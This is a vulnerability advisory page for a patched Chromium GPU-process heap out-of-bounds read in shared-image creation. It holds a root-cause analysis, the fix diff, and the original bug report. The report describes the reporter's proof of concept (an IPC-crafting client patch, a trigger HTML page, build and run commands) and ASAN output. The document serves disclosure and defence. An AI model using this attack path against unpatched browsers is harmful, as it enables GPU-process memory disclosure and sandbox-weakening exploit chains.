Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactHeap buffer overflow in WebGL
DescriptionHeap buffer overflow in WebGL
ComponentWebGL
Bug ClassOOB
Action tierwatch — information disclosure — security-relevant, below the RCE-class bar
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker488270257
Fix commit6345b520b188 (chromium/src) +14/-5
CWECWE-122, CWE-787 (Heap buffer overflow, Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Credited86ac1f1587b71893ed2ad792cd7dde32
Reported2026-02-27 (per vendor advisory)
Fix landed2026-03-02 (public git)
Disclosed2026-03-23
Patch gap21 days — fix public in source before the advisory

Background

`SharedImage`
A GPU-process abstraction wrapping a texture/buffer that can be shared across command buffers, processes, and APIs like WebGL and Raster.
`OnCreateSharedImageWithData`
A GPU-process IPC handler in SharedImageStub that creates a shared image and uploads initial pixel bytes supplied by the (untrusted) renderer via shared memory.
`pixel_data_size` / `pixel_data_offset`
Renderer-supplied fields describing the size and offset within the shared-memory region from which the upload span (subspan) is carved.
`MaybeEstimatedSizeInBytes`
A viz::SharedImageFormat helper that computes the minimum number of bytes an image of a given format and size requires, returning empty when the value is not representable.

Root Cause Analysis

SharedImageStub::OnCreateSharedImageWithData accepts fully renderer-controlled parameters, including pixel_data_offset, pixel_data_size, the pixel format, and the image size.

Before the fix, the handler validated only that pixel_data_offset + pixel_data_size stayed within the bounds of the shared-memory region, ensuring the subspan itself was a valid slice of that region. It never validated that pixel_data_size was large enough to hold a complete image of the declared metadata.format and metadata.size. Because CreateSharedImage subsequently reads and uploads a full format-by-size image, it can iterate past the end of a subspan that is legitimately backed but smaller than the image geometry requires. The mismatch between the small supplied span and the larger implied image dimensions produces a heap out-of-bounds read during pixel upload.

The fix computes min_size = metadata.format.MaybeEstimatedSizeInBytes(metadata.size) and rejects the request when pixel_data_size is 0, when min_size is empty, or when pixel_data_size < min_size.

Key insight
Validating that a buffer slice fits inside its containing region is not the same as validating that the slice is large enough for the consumer that will read all of it. The trusted geometry (format * size) and the untrusted buffer length must be cross-checked, or the reader overruns a perfectly “valid” span.

Attack Path

  1. Craft mismatched IPC A compromised or malicious renderer sends OnCreateSharedImageWithData with a large metadata.format/metadata.size but a tiny pixel_data_size.
  2. Pass region bounds check The attacker keeps pixel_data_offset + pixel_data_size inside the shared-memory region so the pre-fix subspan bounds validation succeeds.
  3. Trigger the upload factory_->CreateSharedImage reads a full format-by-size image from the undersized subspan.
  4. Overrun the span The upload walks past the end of the supplied pixel span, reading adjacent heap memory during texture upload.
  5. Leverage the read The out-of-bounds bytes are incorporated into GPU-visible texture data, enabling information disclosure or corruption of neighboring allocations.

Impact Assessment

This is a heap out-of-bounds read in the GPU process reachable from a renderer via WebGL/shared-image creation, so it aids cross-process information disclosure and can weaken sandbox and ASLR guarantees. Because the overflowed bytes flow into uploaded texture memory, an attacker may exfiltrate adjacent heap contents or use the primitive as a step in a broader GPU-process exploit chain. Severity is elevated by the handler running on trusted, untrusted-input-facing IPC.

Files Changed

  • gpu/ipc/service/shared_image_stub.cc

Audit Directions

  • Buffer-length vs. consumer-need mismatch
    Wherever untrusted size/offset fields index a span later consumed in full, verify the span is large enough for the declared format/dimensions, not merely in-bounds of its region.
  • Trusted geometry cross-checks
    Audit shared-image, texture, and pixel-upload paths for places where format and size imply a byte count that is never reconciled against the actual supplied data length.
  • `MaybeEstimatedSizeInBytes` empty handling
    Confirm callers treat an empty/nullopt size result as a hard rejection rather than defaulting to permissive behavior.
From 6345b520b1887709d3f21260a54c916b297453db Mon Sep 17 00:00:00 2001
From: kylechar <[email protected]>
Date: Mon, 02 Mar 2026 11:20:05 -0800
Subject: [PATCH] Verify shared image pixel size

Ensure that pixel data size makes sense based on the format+size of the
shared image in SharedImageStub.

Bug: 488270257
Change-Id: Ic98123443c047ec605274212e53ee278fdcc264c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7623536
Reviewed-by: Vasiliy Telezhnikov <[email protected]>
Commit-Queue: Kyle Charbonneau <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1592603}
---

diff --git a/gpu/ipc/service/shared_image_stub.cc b/gpu/ipc/service/shared_image_stub.cc
index f103936..e4ec9d3 100644
--- a/gpu/ipc/service/shared_image_stub.cc
+++ b/gpu/ipc/service/shared_image_stub.cc
@@ -290,12 +290,23 @@
   TRACE_EVENT2("gpu", "SharedImageStub::OnCreateSharedImageWithData", "width",
                params->si_info->meta.size.width(), "height",
                params->si_info->meta.size.height());
-  bool needs_gl = HasGLES2ReadOrWriteUsage(params->si_info->meta.usage);
+
+  auto& metadata = params->si_info->meta;
+
+  bool needs_gl = HasGLES2ReadOrWriteUsage(metadata.usage);
   if (!MakeContextCurrent(needs_gl)) {
     OnError();
     return;
   }
 
+  auto min_size = metadata.format.MaybeEstimatedSizeInBytes(metadata.size);
+  if (params->pixel_data_size == 0 || !min_size ||
+      params->pixel_data_size < min_size.value()) {
+    LOG(ERROR) << "SharedImageStub: upload data size is invalid";
+    OnError();
+    return;
+  }
+
   base::CheckedNumeric<size_t> safe_required_span_size =
       params->pixel_data_offset;
   safe_required_span_size += params->pixel_data_size;
@@ -318,10 +329,8 @@
       memory.subspan(params->pixel_data_offset, params->pixel_data_size);
 
   if (!factory_->CreateSharedImage(
-          params->mailbox, params->si_info->meta.format,
-          params->si_info->meta.size, params->si_info->meta.color_space,
-          params->si_info->meta.surface_origin,
-          params->si_info->meta.alpha_type, params->si_info->meta.usage,
+          params->mailbox, metadata.format, metadata.size, metadata.color_space,
+          metadata.surface_origin, metadata.alpha_type, metadata.usage,
           GetLabel(params->si_info->debug_label), subspan)) {
     LOG(ERROR) << kSICreationFailureError;
     OnError();
Loading diff…

Original Bug Report

reported by [email protected]

Out-of-Bounds Read in `GLTextureHolder::Initialize` via Zero-Size `CreateSharedImageWithData` IPC in GPU Process

Summary

A compromised renderer process can send a crafted create_shared_image_with_data Mojo message to the GPU process, setting pixel_data_size to zero and pixel_data_offset to exactly the size of a pre-registered shared memory region. The GPU process constructs an empty base::span whose data() pointer is non-null, pointing one-past-end of the mapping. This span bypasses all size validation in GLCommonImageBackingFactory::CanCreateTexture and is subsequently passed directly to glTexImage2D in GLTextureHolder::Initialize, which the GL driver interprets as a valid client-side pixel source and reads from unconditionally. The result is a heap-buffer-overflow OOB read in the GPU process, causing GPU process termination and WebGL context loss in the renderer. In memory layouts where the mapping is backed by a heap allocation, the GL driver reads from the heap redzone or adjacent freed memory; on platforms without ASAN, this out-of-bounds read may instead read live heap data from the GPU process, constituting a potential cross-process information disclosure from a sandboxed renderer.

The vulnerable code path in GLTextureHolder::Initialize is platform-agnostic and present on all desktop platforms that use the GL backend (Linux, ChromeOS). The specific trigger format ALPHA_8 (GL_ALPHA8_EXT) reliably produces supports_storage=false on any GLES2 driver where GL_ALPHA8_EXT is not accepted as an immutable storage internal format, which includes Mesa Gallium drivers on Linux and ChromeOS. On Windows, Chromium uses ANGLE over D3D11 by default, where ALPHA_8 may be remapped differently; behavior on that platform has not been verified. Confirmed affected configuration: Linux x86-64, Intel Arc A770 (PCI ID 8086:56a1), Mesa Iris Gallium driver (iris_dri.so, Mesa 23.x or later).

Bisect

Introducing Commit: 8d678f89ac9bbc6f02c01842473ada033d8babdc

Root Cause

The vulnerability arises from the interaction of three independent code paths that each appear locally correct but collectively admit a dangerous end-to-end condition.

The first component is SharedImageStub::OnCreateSharedImageWithData. The function validates the IPC parameters by computing required_span_size = pixel_data_offset + pixel_data_size using base::CheckedNumeric to catch overflow, which correctly rejects the case where the sum would exceed size_t. When pixel_data_size is zero and pixel_data_offset is exactly N (the size of the pre-registered mapping), the arithmetic yields N + 0 = N, which is a valid value. The call GetMemoryAsSpan<uint8_t>(N) returns a span of exactly N bytes, which is non-empty, so the emptiness guard at the next check passes. The subsequent memory.subspan(N, 0) call produces an empty span whose data() member is base_address + N, not nullptr. This is well-defined behavior for base::span::subspan, but it creates a span that is simultaneously empty (size() == 0) and has a non-null data pointer pointing one byte past the end of the mapping.

// gpu/ipc/service/shared_image_stub.cc:288-336
void SharedImageStub::OnCreateSharedImageWithData(
    mojom::CreateSharedImageWithDataParamsPtr params) {
  // ...
  base::CheckedNumeric<size_t> safe_required_span_size =
      params->pixel_data_offset;
  safe_required_span_size += params->pixel_data_size;
  size_t required_span_size;
  if (!safe_required_span_size.AssignIfValid(&required_span_size)) {
    // ... rejected on overflow only
  }

  auto memory =
      upload_memory_mapping_.GetMemoryAsSpan<uint8_t>(required_span_size);
  if (memory.empty()) {
    // ... rejected only when required_span_size > mapping size
  }

  // When pixel_data_offset=N and pixel_data_size=0:
  // memory is a N-byte span (non-empty, passes the guard above)
  // subspan(N, 0) => empty span, data() = base + N  (one-past-end, non-null)
  auto subspan =
      memory.subspan(params->pixel_data_offset, params->pixel_data_size);

  factory_->CreateSharedImage(..., subspan);  // subspan.empty()==true, subspan.data()!=nullptr
}

The second component is GLCommonImageBackingFactory::CanCreateTexture. The entire block that validates whether the supplied pixel data has the correct size for the given format and texture dimensions is wrapped in the condition if (!pixel_data.empty()). Because the crafted span is empty, this block is skipped entirely; no call to GLES2Util::ComputeImageDataSizes is made, and the discrepancy between the zero-byte span and the nonzero number of bytes that glTexImage2D will read is never detected.

// gpu/command_buffer/service/shared_image/gl_common_image_backing_factory.cc:201-273
bool GLCommonImageBackingFactory::CanCreateTexture(
    viz::SharedImageFormat format,
    const gfx::Size& size,
    base::span<const uint8_t> pixel_data,
    GLenum target) {
  // ... format and size checks ...

  // All pixel data size validation is gated on this condition.
  // An empty span bypasses every byte-count check below.
  if (!pixel_data.empty()) {
    // ... ComputeImageDataSizes, bytes_required validation ...
    if (pixel_data.size() != bytes_required) {
      return false;
    }
  }
  return true;
}

The third and decisive component is GLTextureHolder::Initialize. The function selects one of three branches depending on the backing format’s properties. The first branch (supports_storage == true) allocates immutable storage with glTexStorage2D and only calls glTexSubImage2D inside if (!pixel_data.empty()), making it safe. The second branch handles compressed formats via glCompressedTexImage2D and passes pixel_data.size() as the data length, so passing zero bytes is harmless. The third branch, which handles the general uncompressed, non-storage case, unconditionally passes pixel_data.data() as the pixel source to glTexImage2D. There is no if (!pixel_data.empty()) guard here. When the format is ALPHA_8 (GL_ALPHA8_EXT), supports_storage is false because GL_ALPHA8_EXT is not a valid immutable internal format in GLES2 contexts, so this else branch is taken and glTexImage2D is called with the past-end pointer as its pixels argument.

// gpu/command_buffer/service/shared_image/gl_texture_holder.cc:169-213
  if (format_info.supports_storage) {
    // glTexStorage2D + guarded glTexSubImage2D — safe path
    api->glTexStorage2DEXTFn(...);
    if (!pixel_data.empty()) {          // <-- correctly guarded
      api->glTexSubImage2DFn(..., pixel_data.data());
    }
  } else if (format_info.is_compressed) {
    // passes pixel_data.size() as byte count — zero bytes, harmless
    api->glCompressedTexImage2DFn(..., pixel_data.size(), pixel_data.data());
  } else {
    // VULNERABLE: no empty() check; pixel_data.data() is non-null past-end pointer
    ScopedUnpackState scoped_unpack_state(!pixel_data.empty());
    api->glTexImage2DFn(
        format_desc_.target, 0, format_desc_.image_internal_format,
        size_.width(), size_.height(), 0,
        format_info.adjusted_format, format_desc_.data_type,
        pixel_data.data());            // <-- reads from base_address + N
  }

ScopedUnpackState constructed with uploading_data = false (since pixel_data.empty() is true) unbinds any GL_PIXEL_UNPACK_BUFFER that may be bound, but this does not prevent the GL driver from reading from the non-null client-side pointer. The OpenGL specification requires the driver to read width * height * bytes_per_pixel bytes from the pointer, and with a 1x1 ALPHA_8 texture that is 1 byte. The driver therefore reads 1 byte from base_address + N, which is outside the shared memory mapping.

The ScopedUnpackState(false) does not create any safety guarantee in this scenario because the OpenGL specification treats a non-null pixels pointer unconditionally as a client-side data source when no PBO is bound, regardless of how the unpack state was configured.

Reproduce

The vulnerability is in the GPU process and follows the compromised-renderer threat model. The PoC modifies gpu/ipc/client/shared_image_interface_proxy.cc to simulate a compromised renderer that sends the malformed IPC, then loads a minimal web page to trigger the SharedImage creation path.

Apply patch.diff against commit fd0c865d5f83b3591c54505236133ba01d08c617 from the Chromium source root:

git apply patch.diff

Save the following as poc.html in the Chromium source root:

<!DOCTYPE html>
<html>
<head><title>GPU-032 PoC</title></head>
<body>
<canvas id="c" width="256" height="256"></canvas>
<script>
// Force GPU-accelerated compositing to trigger SharedImage allocation,
// which causes the injected renderer code to fire the crafted IPC.
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');
let frame = 0;
function draw() {
  ctx.fillStyle = 'hsl(' + (frame * 3) + ',100%,50%)';
  ctx.fillRect(0, 0, 256, 256);
  frame++;
  requestAnimationFrame(draw);
}
draw();
console.log('[POC] PoC loaded, waiting for GPU crash...');
</script>
</body>
</html>

Tested on: Linux x86-64, kernel 6.8, Intel Arc A770 (Mesa Iris, iris_dri.so), Chromium ASAN build at commit fd0c865d5f83b3591c54505236133ba01d08c617.

Build and run:

# Build ASAN chrome
autoninja -C /path/to/chromium/src/out/asan chrome

# Run with GPU process enabled (required to reach the vulnerable path),
# sandbox enabled (demonstrates IPC-based sandbox escape),
# and stderr logging captured
ASAN_OPTIONS=detect_odr_violation=0 \
  /path/to/chromium/src/out/asan/chrome \
  --user-data-dir=/tmp/poc-chromium \
  --enable-logging=stderr \
  file:///path/to/poc/poc.html \
  2>&1 | tee /tmp/poc-asan.txt

Actual output:

[299283:299283:0227/232800.916908:WARNING:chrome/browser/signin/account_consistency_mode_manager.cc:74] Desktop Identity Consistency cannot be enabled as no OAuth client ID and client secret have been configured.
libva error: /usr/lib/x86_64-linux-gnu/dri/iHD_drv_video.so init failed
libva error: /usr/lib/x86_64-linux-gnu/dri/i965_drv_video.so init failed
[299321:299321:0227/232801.760094:ERROR:media/gpu/vaapi/vaapi_wrapper.cc:1640] vaInitialize failed: unknown libva error
[299321:299321:0227/232801.778285:WARNING:sandbox/policy/linux/sandbox_linux.cc:405] InitializeSandbox() called with multiple threads in process gpu-process.
[299652:1:0227/232802.505230:ERROR:gpu/ipc/client/shared_image_interface_proxy.cc:148] POC: fired offset=1048576 size=0 format=ALPHA_8
[299321:299321:0227/232802.505771:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=ALPHA_8 supports_storage=0 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0x741e5e158000 pixel_data.size()=0
[299321:299321:0227/232802.516908:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.537428:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.608479:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.617723:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.618603:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299283:299319:0227/232802.679666:ERROR:gpu/ipc/client/shared_image_interface_proxy.cc:148] POC: fired offset=1048576 size=0 format=ALPHA_8
[299321:299321:0227/232802.680324:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=ALPHA_8 supports_storage=0 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0x741e5e158000 pixel_data.size()=0
=================================================================
==299321==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x741e5e158000 at pc 0x582476f912f4 bp 0x7ffebf358bd0 sp 0x7ffebf358388
READ of size 1 at 0x741e5e158000 thread T0 (chrome)
    #0 0x582476f912f3 in memcpy (/path/to/chromium/src/out/asan/chrome+0x10d302f3) (BuildId: d314b470fd334c66)
    #1 0x741e6836be2c  (/usr/lib/x86_64-linux-gnu/dri/iris_dri.so+0x16be2c) (BuildId: 0c994a8f78bfdc6601a8c3a4e62f446a0ffce437)

0x741e5e158000 is located 6144 bytes before 160952-byte region [0x741e5e159800,0x741e5e180cb8)
freed by thread T0 (chrome) here:
    #0 0x582476f92086 in free (/path/to/chromium/src/out/asan/chrome+0x10d31086) (BuildId: d314b470fd334c66)
    #1 0x781e7723c883 in ZSTD_freeDCtx (/lib/x86_64-linux-gnu/libzstd.so.1+0x89883) (BuildId: 5d9d0d946a3154a748e87e17af9d14764519237b)

previously allocated by thread T0 (chrome) here:
    #0 0x582476f92324 in malloc (/path/to/chromium/src/out/asan/chrome+0x10d31324) (BuildId: d314b470fd334c66)
    #1 0x781e77238e88 in ZSTD_createDCtx_advanced (/lib/x86_64-linux-gnu/libzstd.so.1+0x85e88) (BuildId: 5d9d0d946a3154a748e87e17af9d14764519237b)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/path/to/chromium/src/out/asan/chrome+0x10d302f3) (BuildId: d314b470fd334c66) in memcpy
Shadow bytes around the buggy address:
  0x741e5e157d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x741e5e158000:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==299321==ADDITIONAL INFO

==299321==Note: Please include this section with the ASan report.
Task trace:
    #0 0x582481b332d2 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:647:27
    #1 0x582481b2e026 in gpu::Scheduler::TryScheduleSequence(gpu::Scheduler::Sequence*) gpu/command_buffer/service/scheduler.cc:432:29

Command line: `/proc/self/exe --type=gpu-process --ozone-platform=x11 --crashpad-handler-pid=299286 --enable-crash-reporter=, --user-data-dir=/tmp/poc-chromium --change-stack-guard-on-fork=enable --gpu-preferences=UAAAAAAAAAAgAQAEAAAAAAAAAAAAAMAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --shared-files --metrics-shmem-handle=4,i,6352022960532226838,7078952649096486541,262144 --field-trial-handle=3,i,13414449080994677904,15710992600953954553,262144 --variations-seed-version --pseudonymization-salt-handle=7,i,10583718021982126193,16984710306321877747,4 --trace-process-track-uuid=3190708988185955192 --enable-logging=stderr`

==299321==END OF ADDITIONAL INFO

==299321==ABORTING
[299283:299283:0227/232804.379260:ERROR:content/browser/gpu/gpu_process_host.cc:999] GPU process exited unexpectedly: exit_code=256
[299283:299283:0227/232804.379375:WARNING:content/browser/gpu/gpu_process_host.cc:1441] The GPU process has crashed 1 time(s)
[299283:299283:0227/232804.387994:INFO:CONSOLE:0] "WebGL: CONTEXT_LOST_WEBGL: loseContext: context lost", source: file:///path/to/chromium/src/poc.html (0)

The ASAN report confirms the crash occurs in the GPU process (PID 299321), not the renderer, at gpu::Scheduler::RunNextTask. The shadow byte [fa] at address 0x741e5e158000 indicates a heap left redzone, meaning the read lands immediately before an adjacent heap allocation. The data() pointer is exactly mapping_base + 1048576, and the mapping is 1 MB wide, so 0x741e5e158000 is the first byte past the mapped region. The call chain iris_dri.so → memcpy confirms that the Intel Mesa GL driver internally copies pixel data using memcpy, which is what ASAN intercepts.

Credit

86ac1f1587b71893ed2ad792cd7dde32

View on issue tracker